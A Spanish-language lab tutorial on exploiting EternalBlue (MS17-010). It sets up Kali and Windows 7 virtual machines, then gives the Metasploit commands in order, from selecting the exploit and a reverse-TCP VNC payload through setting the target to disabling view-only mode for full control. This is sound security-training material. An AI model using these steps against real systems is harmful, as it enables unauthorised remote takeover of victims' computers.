Que es EternalBlue
EternalBlue es un exploit desarrollado por la NSA. Fue filtrado por el grupo de hackers «The Shadow Brokers» el 14 de abril de 2017, y fue utilizado en el ataque mundial de ransomware con WannaCry del 12 de mayo de 2017
Configuración del laboratorio de pruebas:
Para poder estudiar el funcionamiento de esta vulnerabilidad y ver de que forma se infectaban los equipo y de que forma se hacia haremos uso de un laboratorio de pruebas que construiremos nosotros mismos dentro de un programa de virtualización de equipos o maquina, este será «VirtualBox» dentro de esta herramienta montaremos dos maquinas virtuales, una maquina Linux con el framework de Metasploit (En este caso usaremos una VM de Kali Linux que ya lo trae por defecto) y un windows 7 Service Pack 1, estas dos maquinas estarán configuradas en red NAT de tal forma que estén las dos dentro de una red aislada y podamos hacer una explotación controlada de la vulnerabilidad tal y como se muestra en la imagen:

Para comprobar que las dos maquinas están dentro del mismo segmento de red y averiguar que dirección ip tiene cada maquina aremos un «if config» en la consola de maquina Linux y un «ip config» en la terminal de Windows para ver si están en el mismo segmento de red

Metasploit:
Ahora que tenemos el laboratorio de pruebas montado y configurado podemos pasar a la fase de explotación de esta vulnerabilidad, para ello haremos uso de un framwork de explotación que nos ayudara a que sea mas sencillo este proceso, este es Metasploit y para invocarlo en la maquina Linux lo haremos haciendo uso del comando «msfconsole»

Una vez iniciado el frameowrk comenzamos a filtrar entre sus muchos módulos de explotación buscando el que mas nos interesa, para esta ocasión haremos uso del exploit «smb-ms17_010_eternalblue», para buscarlo lo hacemos con el comando «use exploit…» el resultado del comando entero seria así «use explolit/windows/smb/ms17_010_eternalblue»:

Después de establecer el exploit que vamos a utilizar tenemos que añadir un payload o carga útil para la explotación y a que el que tiene por defecto intentara crear una conexion de shell reversa entre los dos equipos y lo que queremos es una sesión VNC de control remota, para ello usamos la orden «set payload windows/x64/vncinject/reverse_tcp»:

Lo siguiente que debemos hacer es cambiar los parámetros del payload como el RHOST que hace referencia a la dirección ip del equipo victima con un «set RHOST <IP victima>» :

Ahora que tenemos todo listo podemos iniciar la fase de explotación de esta vulnerabilidad
Fase de Explotación
Una vez que hemos completado todos los pasos anteriores y tenemos todo bien configurado solo tendremos que indicarle al framework que explote el exploit y el payload con la orden «exploit -j» y se nos debería de abrir una ventana VNC mostrando el escritorio de la victima:

En caso de que la ventana de VNC no se inicie de forma automática o no se nos muestre en primer plano una forma de comprobar que no hay fallos durante la explotación y todo esta saliendo como debería es comprobar los mensajes que nos muestra la consola de metasploit, como se ve en la imagen no aparece ningún fallo en la consola y al final nos devuelve un mansaje con un «WIN» indicándonos que la explotación ha sido satisfactoria
Control de la victima
Si lo que queremos es no solo ver los movimientos que realiza la victima en el sistema si no poder tomar control de la maquina victima lo único que tenemos que hacer es volver a cambiar la configuración del payload y cambiar el valor del parámetro ViewOnly a «false» con la orden «set ViewOnly false» para que no interprete que es una sesión de solo visualización y seguido volver a explotar el exploit:
